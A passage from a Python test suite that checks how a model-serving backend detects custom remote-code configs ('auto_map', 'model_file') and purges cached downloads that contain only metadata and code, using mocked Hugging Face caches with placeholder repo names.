            with (
                patch("huggingface_hub.hf_hub_download", side_effect = _dl),
                patch(
                    "huggingface_hub.list_repo_files",
                    return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
                ),
            ):
                assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight


class TestDiscardRemoteCodeDownload:
    @staticmethod
    def _fake_cache(filenames):
        files = [
            SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
            for fn in filenames
        ]
        rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
        repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
        return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())

    def _run(
        self,
        model_name,
        cache_scans,
        active_model_name = None,
    ):
        import asyncio

        import routes.models as M

        backend = SimpleNamespace(active_model_name = active_model_name)
        with (
            patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
            patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
            patch("core.inference.orchestrator.peek_inference_backend", return_value = backend),
            patch(
                "routes.inference.get_llama_cpp_backend",
                return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
            ),
        ):
            return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))

    def test_purges_metadata_only_entry(self):
        cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
        res = self._run("evil/repo", [cache])
        assert res["deleted"] is True
        cache.delete_revisions.assert_called_once_with("deadbeef")

    def test_refuses_loaded_model(self):
        cache = self._fake_cache(["config.json", "modeling_evil.py"])
        res = self._run("evil/repo", [cache], active_model_name = "evil/repo")
        assert res == {"deleted": False, "reason": "loaded"}
        cache.delete_revisions.assert_not_called()

    def test_refuses_when_weights_present(self):
        cache = self._fake_cache(["config.json", "model.safetensors"])
        res = self._run("evil/repo", [cache])
        assert res == {"deleted": False, "reason": "has_weights"}
        cache.delete_revisions.assert_not_called()

    def test_refuses_when_gguf_present(self):
        cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
        res = self._run("evil/repo", [cache])
        assert res["reason"] == "has_weights"

    def test_refuses_local_path(self):
        res = self._run("/home/me/model", [])
        assert res == {"deleted": False, "reason": "local"}

    def test_noop_when_not_cached(self):
        res = self._run("evil/repo", [])
        assert res == {"deleted": False, "reason": "not_cached"}

    def test_route_source_reports_created_by_scan(self):
        src = (_BACKEND / "routes/models.py").read_text(encoding = "utf-8")
        assert "created_by_scan" in src
        assert "discard-remote-code" in src


class TestModelFileCountsAsRemoteCode:
    """mlx-lm / mlx-vlm exec_module a config's ``model_file`` with no trust check, so it is remote
    code exactly like ``auto_map`` and must reach the scan and approval dialog."""

    def test_local_model_file_is_remote_code(self, tmp_path):
        (tmp_path / "config.json").write_text(json.dumps({"model_file": "custom_model.py"}))
        (tmp_path / "custom_model.py").write_text("class Model: pass\nclass ModelArgs: pass\n")
        assert consent._config_has_auto_map(str(tmp_path)) is True

    def test_plain_local_config_is_not_remote_code(self, tmp_path):
        (tmp_path / "config.json").write_text(json.dumps({"model_type": "llama"}))
        assert consent._config_has_auto_map(str(tmp_path)) is False

    def test_empty_model_file_is_not_remote_code(self, tmp_path):
        (tmp_path / "config.json").write_text(json.dumps({"model_file": ""}))
        assert consent._config_has_auto_map(str(tmp_path)) is False